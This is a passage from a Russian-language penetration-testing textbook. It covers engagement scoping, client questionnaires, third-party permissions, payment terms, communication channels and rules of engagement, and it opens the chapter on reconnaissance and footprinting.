8.1 Сфера применения теста на проникновение (Scope) по тестированию на проникновение и взлому сосредоточены на техниках и инструментах, которые можно использовать для получения доступа к сети/ системе. При этом очень редко пишут о задачах, которые необходимо выполнить до тестирования на проникновение: речь идет о подготовке. Невыполнение подготовительной работы может вызвать ряд проблем для тестировщика (или его компании), что может привести к юридическим сложностям от неконтролируемого роста масштаба проекта (Scope Creep, раздел 8.1.3) до недовольных клиентов. Сфера охвата проекта конкретно определяет, что необходимо проверить. Как выполняются отдельные аспекты испытания, описано в разделе 8.11 «Правила выполнения задания/заказа». Важная часть определения объема задания — сколько времени тестировщик должен потратить на те или иные действия. Исходя из этого, определяется стоимость теста на проникновение. Однако важно отметить, что, несмотря на устойчивую ценовую структуру, в этом процессе не все черно-белое. Часто клиент не знает, что именно ему нужно протестировать — или как эффективно донести информацию о том, что он ожидает от этого теста. ­ Эта подготовительная фаза важна. Тестировщик может провести клиента по незнакомой для него территории. Специалист должен понимать разницу между тестом, который сосредоточен на одной конкретной программе с высокой интенсивностью, и тестом, в котором клиент предоставляет широкий спектр IP-адресов для тестирования. Цель — найти простой способ проведения теста. 8.1.1 Определение масштаба проекта Часто совещание по оценке объема работ проводится только после подписания контракта. Бывают ситуации, когда вопросы, связанные с объемом работ, могут быть обсуждены еще до подписания контракта, но они встречаются редко. В этом случае рекомендуется подписать соглашение о неразглашении конфиденциальной информации до того, как состоится углубленное обсуждение объема работ. Цель этой встречи — прояснить, что тестируется. Правила использования и затраты в обсуждении не рассматриваются. Каждую из этих тем следует обсудить на отдельных собраниях. Причина в том, что обсуждения могут легко стать запутанными и неясными, если фокус встречи не будет указан явно. Важно выступать в роли модератора и держать обсуждения в рамках темы, избегать пересечений и при необходимости объяснять, что определенные темы лучше обсудить офлайн. Во-первых, необходимо определить диапазон IP, который подходит для теста. Часто клиент безоговорочно предполагает, что задача тестировщика — 137
Глава 8 Тест на проникновение идентифицировать и атаковать сеть, чтобы сделать тест максимально реалистичным. Конечно, это было бы идеально, но надо учитывать возможные правовые последствия. Таким образом, тестировщик несет ответственность за доведение этих проблем до сведения клиента и передачу важности такого неявного определения объема работ. Кроме того, на этой встрече необходимо проверить, например, является ли клиент владельцем всех целевых сред, включая: ◾ ◾ ◾ ◾ DNS-сервер; сервер электронной почты; фактическое оборудование, на котором работают его веб-серверы; его Firewall (брандмауэр/IDS/IPS-решение). Многие компании передают управление этими устройствами третьим лицам, особенно с веб-серверами (см. раздел 8.6). Вам также необходимо определить страны, провинции и штаты, в которых работают целевые среды. Законы варьируются от региона к региону, и они могут повлиять на тестирование. В ЕС строгие законы, касающиеся неприкосновенности частной жизни отдельных лиц. 8.1.2 Показатели для оценки времени Оценка времени играет решающую роль в устойчивой структуре ценообразования. Чтобы проиллюстрировать это, я покажу вам пример. Предположим, что сто IP-адресов должны быть проверены на тест на проникновение за €100 000. Это означает, что за каждый проверенный IP-адрес предлагается €1000. Однако процесс тестирования не предполагает линейных затрат, а скорее относится ко всему объему тестирования. Объем работы, необходимый для тестирования только одного IP-адреса, будет значительно выше, чем затраты на один IP-адрес для такого большого количества. Важно учитывать, что стоимость варьируется в зависимости от выполненных работ. В противном случае вы можете получить заниженную цену за свои услуги — и выполнить работу не полностью. Оценка времени зависит от опыта тестировщика в конкретной области. Тестировщик с большим опытом работы может легко определить, сколько времени займет тест. Если у тестировщика меньше опыта в этой области, повторное чтение электронных писем и журналов сканирования из предыдущих аналогичных тестов — показатель для оценки времени, необходимого для текущей работы. Доказано на практике: добавляйте буфер 20% к указанному количеству времени. Временной запас, составляющий 20% в конце временного значения, часто называют Padding. Он абсолютно необходим для любого теста. Это дает вам свободу действий в случае перерывов во время тестирования. Есть много 138
8.1 Сфера применения теста на проникновение (Scope) событий, которые могут часто происходить и препятствовать процессу. В любой момент в сетевом сегменте может произойти сбой или обнаружена серьезная уязвимость, что требует дополнительных встреч, в некоторых случаях с руководством. Оба события требуют много времени, и если не учитывать его, значительно повлияют на первоначальную оценку. Что будет с временным резервом, если в нем не было необходимости? В принципе, неэтично взимать плату за неиспользованное время, поэтому тестировщик должен предоставить дополнительную стоимость, которая не была бы представлена, если бы был достигнут лимит времени для заказа. Здесь, например, вы можете рассказать экспертам по безопасности клиента о шагах, которые предприняли для использования уязвимости, предоставить сводку, если она не была частью исходного списка, или потратить немного больше времени на использование уязвимости, которая была неуловимой во время первоначального тестирования. Другой компонент временных и тестовых показателей — то, что каждый проект имеет определенную дату завершения, четко зафиксированные начало и конец. Крайне важно, чтобы у вас было подписано техническое задание с указанием требуемой работы и часов, если вы достигли даты окончания испытаний или от вас требуются дополнительные работы. Некоторым тестировщикам трудно договориться, когда дело доходит до затрат и часов. Однако опыт показал, что клиенты редко уклоняются от оплаты дополнительной работы, если вы предоставляете исключительную ценность для основного теста. 8.1.3 Дополнительная поддержка и расширение сферы применения (Support, Scope Creep) Все, что явно не включено в проектный заказ, следует рассматривать очень тщательно. Одна из причин этого — Scope Creep (расширение объема). Если что то изменится в рамках теста, расходуются дополнительные ресурсы. Это может снизить прибыль тестировщика и даже вызвать недовольство и раздражение клиента. Многие компании и менеджеры не знают, как определить проблему или как на нее реагировать. ‑ Есть несколько моментов, о которых следует помнить, когда вы боретесь с расширением объема работ. Очень часто клиент, довольный вашей работой над конкретным проектом, просит о дополнительных заданиях. Воспринимайте это как комплимент и не бойтесь просить дополнительные ресурсы, чтобы компенсировать дополнительное время. Если клиент отказывается платить за дополнительные задания, то делать их почти никогда не стоит. Один из важнейших моментов, который вы должны учитывать, — это то, как вы обращаетесь с постоянными клиентами. Здесь следует держать цены на более низком уровне. Воспользовавшись благоприятной ситуацией 139
Глава 8 Тест на проникновение и взвинтив цены, вы можете лишиться повторных обращений. Не забывайте, что вы можете устанавливать более низкие цены для существующих клиентов, поскольку затраты на их привлечение исключаются. Четкое указание дат начала и окончания является важным средством предотвращения расширения (увеличения) объема работ. Это дает проекту окончательное завершение. Повторное тестирование — распространенная причина расширения. Это хорошая идея, если вы стремитесь к контракту. Вы показываете, что вы заботливы и старательны, и хотите обеспечить максимальную безопасность своего клиента. Однако работа не оплачивается, пока не будет завершена. Это включает и повторное тестирование. Вы можете снизить риск, добавив в договор простое пояснение, в котором указано, что все повторные тесты проводятся в течение определенного периода времени после предоставления заключительного отчета. Ответственность за проведение повторных тестов в это время лежит на тестировщиках. Если клиент пожелает продлить срок, разрешите это при условии, что оплата будет произведена в первоначально указанную дату. При планировании всегда помните о необходимости включения этапа контроля качества/повторного тестирования. Лучший источник будущих заказов — ваш существующий клиентский портфель. Помимо Scope Creep, есть еще одна тема, которую многие тестировщики упускают из виду, когда берут на себя дополнительную работу, — юридические последствия. Многие из внеплановых запросов не задокументированы должным образом, поэтому может быть сложно определить в случае судебного разбирательства или иска, кто что сказал. Помните, что контракт — это юридический документ, в котором определены выполняемые работы. Все запросы, которые не входят в первоначальный объем работ, рекомендуется оформлять в виде описания услуг, в котором четко определены все необходимые работы. Также нужно указать в договоре, что дополнительные работы будут оплачиваться по часовой ставке и могут быть выполнены только после предоставления подписанного и заверенного описания услуг. 8.2 Вопросы для определения объема теста на проникновение Во время первоначального общения с клиентом необходимо ответить на несколько вопросов, чтобы вы могли правильно оценить объем проекта. Эти вопросы позволяют лучше понять, чего клиент ожидает от теста на проникновение, почему он хочет провести тест в своей среде и хочет ли он, чтобы в ходе проекта были проведены какие то определенные виды тестов. ‑ 140
8.2 Вопросы для определения объема теста на проникновение 8.2.1 Тестирование на проникновение в сеть ◾ Зачем заказчик проводит тест на проникновение в своей среде? ◾ Необходим ли тест на проникновение для выполнения определенных требований? ◾ Когда заказчик хочет выполнить активные части теста на проникновение (сканирование, перечисление, эксплуатация и т. д.)? ◾ В рабочее время? ◾ В нерабочее время? ◾ В выходные дни? ◾ Сколько всего IP-адресов тестируется? ◾ Сколько внутренних IP-адресов, если применимо? ◾ Сколько внешних IP-адресов, если применимо? ◾ Есть ли устройства, которые могут повлиять на результаты теста на проникновение, например брандмауэр, система обнаружения/предотвращения вторжений, брандмауэр веб-приложений или балансировщик нагрузки? ◾ Если система взломана, как должна действовать группа тестирования? ◾ Выполнить локальную оценку уязвимости на взломанном компьютере? ◾ Попытаться получить наивысшие привилегии (root на Unix-машинах, SYSTEM или Administrator на Windows-машинах) на взломанной машине? ◾ Выполняете ли вы атаки на локальные хеши паролей (например, /etc/ shadow на Unix-машинах), без пароля, с минимальным словарем или исчерпывающим паролем? ­ 8.2.2 Тест на проникновение в веб-приложения Сколько веб-приложений оценивается? Сколько систем входа оценивается? Сколько статических страниц оценивается? (приблизительно) Сколько динамических страниц оценивается? (приблизительно) Будет ли исходный код легко доступен? Будет ли какой либо вид документации? ◾ Если да, то какой тип документации? ◾ Выполняется ли статический анализ для данного приложения? ◾ Хочет ли клиент, чтобы в этом приложении работал Fuzzing 33? ◾ ◾ ◾ ◾ ◾ ◾ 33 ‑ Fuzzing или fuzz testing, также известный как тестирование устойчивости или отрицательное тестирование, — это автоматизированный метод тестирования ПО, при котором тестируемая программа повторно загружается случайными данными на одном или нескольких входных интерфейсах. 141
Глава 8 Тест на проникновение ◾ Хочет ли клиент, чтобы в этом приложении выполнялось ролевое тестирование? ◾ Хочет ли клиент, чтобы сканирование веб-приложений выполнялось с использованием учетных данных? 8.2.3 Тесты на проникновение в беспроводные сети ◾ Сколько беспроводных сетей доступно? ◾ Используется ли гостевая беспроводная локальная сеть? Если да: ◾ Требуется ли аутентификация для гостевой сети? ◾ Какой тип шифрования используется в беспроводной локальной сети? ◾ Каково покрытие на квадратный метр? ◾ Требуется ли перечисление неавторизованных устройств? ◾ Будет ли команда оценивать беспроводные атаки на клиентов? ◾ Сколько (приблизительно) клиентов используется в беспроводной локальной сети? 8.2.4 Физическое тестирование на проникновение ◾ Сколько мест оценивается? ◾ Является ли это физическое место общим объектом? Если да: ◾ Сколько этажей в периметре? ◾ Какие этажи находятся в периметре? ◾ Есть ли службы безопасности, которые необходимо обойти? Если да: ◾ Наняты ли службы безопасности третьей стороной? ◾ Вооружены ли они? ◾ Имеют ли они право применять силу? ◾ Сколько входов в здание? ◾ Разрешается ли использовать отмычки или ключи-барашки? (также проверьте местные законы). ◾ Проверяется ли соответствие существующим политикам и процедурам или проводится ли аудит? ◾ Какова площадь помещения? ◾ Задокументированы ли все меры физической безопасности? ◾ Используются ли видеокамеры? ◾ Являются ли камеры собственностью заказчика? Если да: ◾ Должна ли команда попытаться получить доступ к месту расположения видеокамер? ◾ Используется ли система сигнализации? Если да: ◾ Является ли сигнализация бесшумной? ◾ Срабатывает ли сигнализация при движении? ◾ Срабатывает ли сигнализация при открывании дверей и окон? ­ 142
8.2 Вопросы для определения объема теста на проникновение 8.2.5 Социальная инженерия ◾ Есть ли у клиента список адресов электронной почты, на которые будет проведена социально-инженерная атака? ◾ Есть ли у клиента список телефонных номеров, на которые будет осуществляться социально-инженерная атака? ◾ Допускается ли социальная инженерия для получения несанкционированного физического доступа? Если да: ◾ На какое количество людей следует ориентироваться? ­ ­ Обратите внимание, что в рамках тестирования на разных уровнях может потребоваться задать вопросы руководителям отделов, системным администраторам и сотрудникам службы поддержки. Ниже примеры таких вопросов. 8.2.6 Вопросы для руководителя отдела/офиса ◾ Знает ли руководитель о том, что будет проведено тестирование? ◾ Какая ключевая дата представляет наибольший риск для организации, если системы/данные будут раскрыты, повреждены или удалены? ◾ Существуют ли процедуры тестирования и валидации для проверки правильности работы бизнес-приложений/систем? ◾ Имеют ли тестировщики доступ к процедурам тестирования обеспечения качества, которые были разработаны при создании приложения? ◾ Существуют ли процедуры аварийного восстановления данных приложения? ­ 8.2.7 Вопросы для системных администраторов ◾ Есть ли системы, которые можно отнести к категории хрупких (склонные к сбоям, старые или без исправлений)? ◾ Есть ли в сети системы, которые не принадлежат заказчику и могут потребовать дополнительной авторизации для тестирования? ◾ Существуют ли процедуры управления изменениями? ◾ Каково среднее время устранения сбоев в системе? ◾ Существует ли решение для мониторинга? ◾ Какие серверы и приложения критически важны? ◾ Регулярно ли проверяются резервные копии? ◾ Когда в последний раз восстанавливались резервные копии? 143
Глава 8 Тест на проникновение 8.3 Цель Каждый тест на проникновение должен быть ориентирован на достижение цели. Это означает, что целью теста является выявление конкретных уязвимостей, которые могут поставить под угрозу бизнес или миссию клиента. Речь идет не о поиске непропатченных систем, а о выявлении рисков, которые негативно влияют на заказчика. 8.3.1 Основное Первичная цель теста на проникновение не должна определяться соответствием: оно не эквивалентно безопасности. Хотя многие компании проверяются на соответствие требованиям, это не должно быть основной целью теста. Например, тест на проникновение может быть введен в эксплуатацию в рамках требований PCI-DSS. Особенности, которые делают целевую организацию уникальной на конкурентном рынке, также имеют наибольшее влияние, если их скомпрометировать. Многие компании обрабатывают данные кредитных карт. Взлом системы кредитных карт — безусловно, серьезная проблема. Но если произойдет утечка номеров кредитных карт и всех связанных с ними данных о клиентах, это станет настоящей катастрофой. 8.3.2 Второстепенное В отличие от основных целей, второстепенные напрямую связаны с соответствием требованиям. И хотя они тесно взаимосвязаны между собой, тем не менее есть различия. В нашем примере с тестами, управляемыми PCI-DSS, получение данных кредитных карт — второстепенная цель. Основная — связать эту утечку данных с движущими силами бизнеса и задачами организации. Вторичные цели что то значат для обеспечения соответствия и/или IT. Первичные цели привлекают внимание высшего руководства. ‑ 8.4 Бизнес-анализ ­ Прежде чем приступить к тестированию на проникновение, полезно определить уровень зрелости системы безопасности клиента. Многие организации предпочитают сразу приступить к тестированию на проникновение, чтобы сначала оценить этот уровень. Для клиентов с очень незрелой программой безопасности зачастую рекомендуется начать с оценки уязвимостей. Некоторые тестировщики считают, что вокруг работы по анализу уязвимостей существует клеймо позора (эта работа окружена стигмой). Они не учи- 144
8.5 Указание диапазонов IP-адресов и доменов тывают, что речь идет о выявлении рисков в целевой организации. Если компания еще не готова к полноценному тесту на проникновение, она получит больше пользы от хорошей оценки уязвимостей, чем от теста на проникновение. Определите заранее с клиентом, какие сведения о системах будут предоставлены. Полезно также запросить информацию об уже задокументированных уязвимостях. Это сэкономит деньги клиенту и время тестировщику, так как результаты тестирования не будут пересекаться с известными проблемами. Полное или частичное белое тестирование (white-box) может принести заказчику больше пользы, чем черное (black-box), если оно не строго необходимо. 8.5 Указание диапазонов IP-адресов и доменов Чтобы быть юридически защищенным, важно определить все цели перед началом теста на проникновение. Эти цели уже должны быть получены от клиента на первом этапе анкетирования. Они могут быть указаны в виде конкретных IP-адресов, сетевых областей или доменных имен. В некоторых случаях клиент указывает название организации в качестве единственной цели и ожидает, что тестировщик сможет идентифицировать остальное сам. Важно уточнить, являются ли такие системы, как брандмауэры и IDS/IPS или сетевые устройства, расположенные между тестером и конечным пунктом назначения, частью объема работ. Должны быть идентифицированы и определены дополнительные элементы, такие как вышестоящие провайдеры и другие сторонние провайдеры, независимо от того, входят ли они в объем работ. Область подтверждения Прежде чем начинать атаки в рамках тестирования, крайне важно проверить, что устройства действительно принадлежат клиенту, против которого вы проводите тестирование. Всегда помните о правовых последствиях, с которыми вы столкнетесь, если атакуете машину и успешно проникнете в нее, только чтобы позже выяснить, что она на самом деле принадлежит другой организации (например, больнице или государственному учреждению). 8.6 Взаимодействие с третьими лицами Часто встречается ситуация, когда заказ включает в себя тестирование сервиса или приложения, размещенного у стороннего поставщика. В последние годы это стало еще более распространенным явлением, поскольку облачные 145
Глава 8 Тест на проникновение услуги набирают популярность. Даже если вы получили разрешение от своего клиента, это не означает, что он имеет право говорить от имени стороннего поставщика. Вы всегда должны получить разрешение и от него, чтобы протестировать размещенную систему. Если вы забудете об этом, существует риск нарушения закона, что может привести к ненужным проблемам. 8.6.1 Облачные сервисы При тестировании облачных сервисов самая большая проблема заключается в том, что на одном физическом носителе хранятся данные нескольких разных организаций. Безопасность между этими доменами данных зачастую очень слабая. Вы должны уведомить поставщика облачных услуг о тестировании. Он, в свою очередь, должен подтвердить, что тестирование проводится, и дать разрешение. Кроме того, у поставщика облачных услуг должен быть прямой контакт с лицом, отвечающим за безопасность. К нему можно обратиться в случае обнаружения уязвимости в системе, если пробел может затронуть других клиентов облака. Некоторые облачные провайдеры имеют особые процедуры для тестировщиков на проникновение и могут потребовать от вас формы запроса, расписания или явного разрешения, прежде чем вы сможете начать тестирование. Важно учесть все нужные шаги при составлении плана работ. 8.6.2 Интернет-провайдер (ISP) ­ Ознакомьтесь с условиями использования интернет-провайдера вместе с клиентом: у них часто есть специальные правила тестирования. Внимательно прочитайте условия перед началом атаки. У многих интернет-провайдеров есть механизмы, позволяющие избегать или блокировать определенный трафик, который считается вредоносным. Клиент может одобрить этот риск, но до начала тестирования всегда необходимо четко сообщить об этом. Как и в случае со всеми другими третьими сторонами, объем и сроки тестирования должны быть четко доведены до сведения поставщика. Четко сообщите заказчику, что тест направлен только на выявление уязвимости в приложении и не выявляет слабые места в базовой инфраструктуре, которые могут привести к компрометации приложения. ­ ­ 8.6.3 Управляемые поставщики услуг безопасности (MSSP) Вам также может потребоваться уведомить поставщиков управляемых услуг о тестах, особенно если системы и сервисы, которые ими обладают, должны быть протестированы. Однако есть обстоятельства, при которых MSSP не уведомляется. Например, если определение фактического времени отклика входит в тестирование, то уведомление MSSP определенно не отвечает интересам целостности теста. 146
8.7 Определение приемлемых предлогов для социальной инженерии 8.6.4 Страны, в которых размещены серверы В ваших интересах проверить страны, где находятся серверы, которые вы должны тестировать. Изучите их законы. Вы не должны предполагать, что получите полное резюме местных законов от вашего клиента. На тестировщике всегда лежит ответственность за пересмотр законов для каждого региона, в котором он тестирует, перед началом работы: в конечном итоге именно он должен отвечать за все нарушения. 8.7 Определение приемлемых предлогов для социальной инженерии Клиенты хотят проверить ситуацию с безопасностью так, чтобы она соответствовала текущей угрозе. Социальная инженерия и фишинговые атаки часто используются злоумышленниками. Все предлоги, выбранные для испытания, должны быть утверждены в письменной форме перед началом испытаний. 8.8 DoS-тесты Стресс-тестирование или тест отказа в обслуживании всегда обсуждается до начала работы. Это может быть проблемой, которая беспокоит многие организации из-за потенциально опасного характера испытаний. Если компания беспокоится только о конфиденциальности или целостности своих данных, то стресс-тест может не понадобиться. Однако, если у клиента есть опасения по поводу доступности его услуг, стресс-тест должен проводиться в непродуктивной среде, идентичной производственной. ­ 8.9 Условия оплаты При подготовке к тестированию часто забывают о том, как должен оплачиваться труд тестировщика. Как и при согласовании сроков, должны быть определенные сроки и условия оплаты. Часто крупные организации откладывают оплату как можно дольше. Ниже приведены некоторые распространенные методы оплаты, но это лишь примеры. Каждое предприятие должно разработать и оптимизировать свою структуру ценообразования, чтобы лучше удовлетворить потребности своих клиентов и, конечно же, свои. Важно, чтобы такая структура была установлена до начала тестирования. 147
Глава 8 Тест на проникновение ◾ Netto 30 дней Вся сумма должна быть выплачена в течение 30 дней с момента предоставления окончательного отчета. Обычно за неуплату взимается штраф. Вы также можете установить любое количество дней для своих клиентов. ◾ Половина заранее Также принято просить половину общей суммы счета авансом до начала тестирования. Это особенно характерно для долгосрочных проектов. Клиент обычно не возражает, так как вам тоже надо оплачивать счета. ◾ Повторяющийся платеж План регулярных платежей — норма для долгосрочных проектов. Например, некоторые могут занять 1–2 года. Клиент нередко платит регулярными частями в течение всего срока действия. 8.10 Установка каналов связи Важный аспект любого теста на проникновение — коммуникация с клиентом. То, как часто вы взаимодействуете и как расположили его к себе, может иметь большое значение для того, насколько он останется доволен вами. Впоследствии вы найдете основу для общения, которая может помочь заказчику чувствовать себя комфортно во время теста. 8.10.1 Контактная информация для экстренных случаев Самое главное — иметь возможность связаться с клиентом или организацией-заказчиком в экстренном случае. Чрезвычайные ситуации могут возникнуть всегда. Для их обработки необходимо создать список контактных лиц. Он должен содержать контактную информацию всех сторон, участвующих в испытании. Список следует предоставить всем, кто в нем указан. Всегда имейте в виду, что организация-заказчик может не быть клиентом. Важно, чтобы у вас была следующая информация о каждом экстренном контакте. ­ ­ 148 1. Полное имя. 2. Название и оперативная ответственность. 3. Разрешение на обсуждение деталей тестирования, если оно еще не указано. 4. Две формы круглосуточной мгновенной связи, например, мобильный телефон, пейджер или домашний телефон, если это возможно. 5. Одна форма безопасной массовой передачи данных, например, SFTP или зашифрованная электронная почта.
8.10 Установка каналов связи Примечание Номер группы, например, службы поддержки или операционного центра может заменить контакт для экстренных случаев, но только если он работает круглосуточно и без выходных. Характер каждого теста на проникновение влияет на то, кто должен быть в списке для экстренных случаев. Необходимо указать не только контактную информацию клиента и цели, но и данные тестировщиков. Список должен включать следующих людей: ◾ ◾ ◾ ◾ ◾ Все тестировщики проекта. Руководитель тестовой группы. Два технических контакта в каждой целевой организации. Два технических представителя заказчика. Один представитель высшего руководства или бизнес-контакт в компании-заказчике. ­ ­ Конечно, в приведенном выше списке могут быть пересечения. Например, целевая организация может одновременно быть клиентом, или руководитель тестовой группы может также проводить тест на проникновение, или технический контакт клиента может находиться в верхнем руководстве. 8.10.2 Процесс информирования об инцидентах Перед началом проекта рекомендуется обсудить текущие возможности организации по реагированию на инциденты. В дополнение к безопасности организации тест на проникновение также проверяет ее способность реагировать на инциденты. Если целое задание может быть выполнено незаметно для внутренней службы безопасности объекта, значит, выявлена серьезная уязвимость в системе безопасности. Также важно убедиться перед началом тестирования, что кто то в целевой организации знает, когда оно будет проведено. Это необходимо для того, чтобы группа реагирования на инциденты не звонила каждому члену высшего руководства посреди ночи, полагая, что система будет атакована или скомпрометирована. ‑ 8.10.3 Определение инцидентов Согласно определению Национального института стандартов и технологий (NIST), инцидент — это нарушение или непосредственная угроза нарушения правил компьютерной безопасности, правил приемлемого использования или стандартных практик безопасности. Инцидент также может происходить на физическом уровне, когда человек получает несанкционированный физический доступ к какому либо помещению. Задача — иметь различные категории и уровни для различных типов инцидентов. ‑ 149
Глава 8 Тест на проникновение 8.10.4 Периодичность отчетов о состоянии дел Периодичность составления отчетов о статусе дел может сильно отличаться. На частоту отчета влияют такие факторы, как общая продолжительность испытания, объем и степень безопасности объекта. Эффективный график позволяет заказчикам чувствовать себя важными. Игнорируемый клиент — это бывший и недовольный клиент. Если вы установили частоту и расписание отчетов о состоянии, они также должны соблюдаться. Отсрочка может понадобиться, но никогда не должна становиться хронической. При необходимости вы можете предложить клиенту новое расписание. Пропускать отчет о статусе непрофессионально, и по возможности этого следует избегать. 8.10.5 Шифрование и альтернативные варианты Из-за конфиденциального характера контента передача приватной информации, в частности, окончательного отчета, должна быть зашифрована. Общение с клиентом — важная часть теста на проникновение. Перед началом тестирования необходимо настроить средства безопасной связи с заказчиком. Есть несколько распространенных методов шифрования. 1. PGP/GPG можно использовать как для общения по электронной почте, так и для шифрования итогового отчета. ВНИМАНИЕ: строки темы передаются открытым текстом. 2. Защищенные почтовые ящики. 3. Телефон. 4. Личные встречи. 5. Отчеты также могут быть сохранены в архивном файле с AES-шифрованием. Кроме типа шифрования, вам также необходимо уточнить у клиента, какие виды информации могут быть зафиксированы письменно, а какие следует сообщать только устно. Некоторые организации имеют веские причины для ограничения доступа к информации о безопасности. 8.11 Правила оформления заказа В то время как область применения определяет, что должно быть протестировано, правила применения определяют, как тесты будут проводиться. Эти два аспекта должны рассматриваться независимо друг от друга. 150
8.11 Правила оформления заказа 8.11.1 Временные рамки Должен быть установлен четкий график выполнения задания. Объем определяет начало и конец, а правила задания — все, что между ними. При этом следует учитывать, что график может измениться в ходе тестирования. Жесткая временная шкала — не цель, а график или план. Он позволяет с самого начала теста всем участникам четко определить выполняемую работу и людей, ответственных за нее. Для определения работы и времени, которое занимает каждая конкретная часть, используются диаграммы Ганта и структурные планы проекта. Разбивка графика таким образом помогает участникам определить, где задействовать ресурсы, и позволяет клиенту выявить возможные препятствия во время тестирования. 8.11.2 Места Все места, куда тестировщику придется отправиться в ходе проекта, также должны быть заранее определены с заказчиком. Это может быть как простая задача — найти местные отели, так и сложная — определить применимое законодательство конкретной страны. Часто бывает так, что организация работает в разных пунктах и регионах, а для тестирования выбирается несколько отдельных мест. В этом случае следует избегать поездок в каждое местоположение, а вместо этого определить, доступны ли VPN-соединения 34 с сайтами для удаленного тестирования. 8.11.3 Защита конфиденциальной информации Хотя одной из целей заказа может быть получение доступа к конфиденциальной информации, некоторые сведения на самом деле не должны просматриваться или загружаться. Кому то это может показаться странным: как вы докажете, что у вас был доступ к данным? Но есть случаи, когда тестировщики не должны иметь в своем распоряжении целевые данные. Например, личная медицинская информация, которая защищена в соответствии с HIPAA 35. ‑ Если данные невозможно получить ни физически, ни виртуально, как вы докажете, что действительно имели доступ к информации? Проблему можно решить разными способами. Например, чтобы доказать, что «сейф» был открыт, но ничего не забрали, можно сделать фотографию. То же самое относится к цифровой среде. Например, можно сделать скриншот схемы базы 34 VPN (VPN-сервис) — с ноября 2022 г. на территории Российской Федерации запрещено распространять информацию о VPN-сервисах с целью доступа к запрещенному контенту. Научная, научно-техническая и статистическая информация о VPN-сервисах для обхода блокировок признана запрещенной в России, исключением является информация о VPN для обеспечения защищенного удаленного доступа. — Прим. ред. Health Insurance Portability and Accountability Act. ­ 35 151
Глава 8 Тест на проникновение данных и разрешений на файлы, или просмотреть файлы, не открывая их для отображения содержимого, — при условии, что в имени файла не показана никакая личная идентифицирующая информация (PII). Насколько внимательно вы, тестировщик, должны подходить к выполнению задания, — это параметр, который необходимо обсудить с заказчиком. Компания, проводящая тесты, всегда должна быть уверена в том, что она защищает себя юридически, невзирая на мнение заказчика. Независимо от предполагаемого контакта с конфиденциальными данными все шаблоны отчетов и испытательные машины должны подвергаться надлежащей очистке после каждого заказа. 8.11.4 Работа с доказательствами При обработке доказательств для теста и различных этапов отчета важно быть предельно осторожным с данными. Всегда шифруйте и очищайте тестовую систему в перерывах между заказами. Никогда не используйте отчет из другого заказа в качестве шаблона. Крайне непрофессионально оставлять в документе ссылки на другую организацию. 8.11.5 Регулярные совещания о положении дел В течение всего тестирования важно регулярно встречаться с клиентом, чтобы информировать его об общем прогрессе тестирования. Встречи должны проходить ежедневно и быть максимально короткими. Достаточно ограничиться тремя концепциями. ◾ Планы. ◾ Прогресс. ◾ Проблемы. Планы обычно обсуждаются для того, чтобы тестирование не совпало по времени с серьезными незапланированными изменениями или сбоями. Прогресс — это просто информирование клиента о том, что уже сделано. Проблемы также следует проговорить, но для краткости обсуждение решений почти всегда следует проводить в офлайн-режиме. ­ 8.11.6 Время для тестирования Клиенты могут потребовать, чтобы все испытания проводились в нерабочее время. Для большинства тестировщиков это может означать поздно ночью. Требования ко времени должны быть четко определены с заказчиком до начала тестирования. 152
8.12 Существующие функции и технологии 8.11.7 Разрешение на тестирование Один из наиболее важных документов для юридической защиты, который необходимо получить для проверки на проникновение, — «Разрешение на атаку». В документе указана область применения и есть подпись, подтверждающая осведомленность о деятельности тестировщиков. Кроме того, следует четко указать, что тесты могут привести к нестабильности системы, поэтому заказчик не может привлекать тестировщика к ответственности за нестабильность или сбои системы. Важно, чтобы тестирование не начиналось до тех пор, пока этот документ не будет подписан заказчиком. Всегда имейте в виду, что некоторым поставщикам услуг требуется предварительное уведомление и/или отдельное одобрение, прежде чем вы сможете протестировать свои системы. Например, Amazon требует, чтобы вы заполнили онлайн-форму запроса, и запрос должен быть одобрен, прежде чем сканировать хосты в их облаке. Если это необходимо, данное уведомление/одобрение должно быть частью документа. ­ 8.11.8 Правовые аспекты Некоторые действия по тестированию на проникновения могут нарушать местное законодательство, поэтому рекомендуется проверить законность выполнения общих заданий в том месте, где будет выполняться работа. Например, любые VoIP-звонки, перехваченные в ходе теста на проникновение, в некоторых регионах могут быть расценены как подслушивание. 8.12 Существующие функции и технологии Хороший тест на проникновение не только проверяет наличие неисправленных систем. Он также проверяет возможности целевых организаций. Ниже приведен список вещей, которые вы можете оценить при тестировании. 1. Умение распознавать и реагировать на сбор информации. 2. Умение распознавать следы и реагировать на них. 3. Умение распознавать и реагировать на сканирование и анализ уязвимостей. 4. Умение распознавать и реагировать на проникновение (атаки). 5. Способность распознавать и реагировать на агрегирование данных. 6. Способность распознавать и реагировать на утечку данных. Если вы отслеживаете информацию, убедитесь, что вы собираете данные о времени. Например, если обнаружено сканирование, вы должны получить уведомление и отметить, какой этап сканирования был выполнен в то время. 153
Глава 8 Тест на проникновение 8.13 Резюме Перед тем как приступить к испытанию, убедитесь, что график теста на проникновение создан и что задачи известны всем участникам. Еще раз удостоверьтесь, что заказ ограничивает объем теста, и у вас также есть письменное разрешение клиента и всех задействованных поставщиков услуг на тестирование соответствующих систем. Перед началом тестирования также обратите внимание на соответствующие законы для расположения систем. После того как вы соберете все необходимые документы и проясните правовые условия, вы можете приступить к фактическому тестированию.
Глава 9 Сбор информации (разведка) 9.1 Введение В начале последней главы вы прочитали, что сбор информации — основа любого успешного теста на проникновение. Чтобы максимально реалистично смоделировать хакерскую атаку, необходимо думать и работать как киберпреступник. Его цель — получить как можно больше информации о вас. Поэтому мы начинаем с так называемого «чтения следов» (англ. Footprinting). Чтение следов — это сбор информации, который всегда предшествует (профессиональной) атаке. При этом еще не осуществляется доступ к системам и приложениям, здесь собираются только общедоступные данные. Источники для этого находятся в пассивном футпринтинге. ◾ ◾ ◾ ◾ Домашняя страница цели. Поисковые системы. Объявления о вакансиях цели. Группы новостей. Для активного поиска следов есть такие источники информации, как: ◾ ◾ ◾ ◾ ◾ База данных WHOIS. Записи DNS. Pings weep. Traceroute. Сканер портов. На самом деле эти источники не представляют особой угрозы и общедоступны. Некоторые из них даже обязательны и благодаря им интернет вообще возможен. Так почему же эти данные важны для оценки целей? Вы можете использовать несколько хороших автоматизированных инструментов для обучения, но когда вы познакомитесь с основами, вам откроется новый взгляд на мир. Хороший охотник за информацией — это в равных долях хакер, социальный инженер и детектив. В отличие от других этапов, здесь нет определенных правил процедуры. Однако глава «Активное сканирование» требует фиксированного порядка и точной последовательности шагов для успешного сканирования объекта. 155
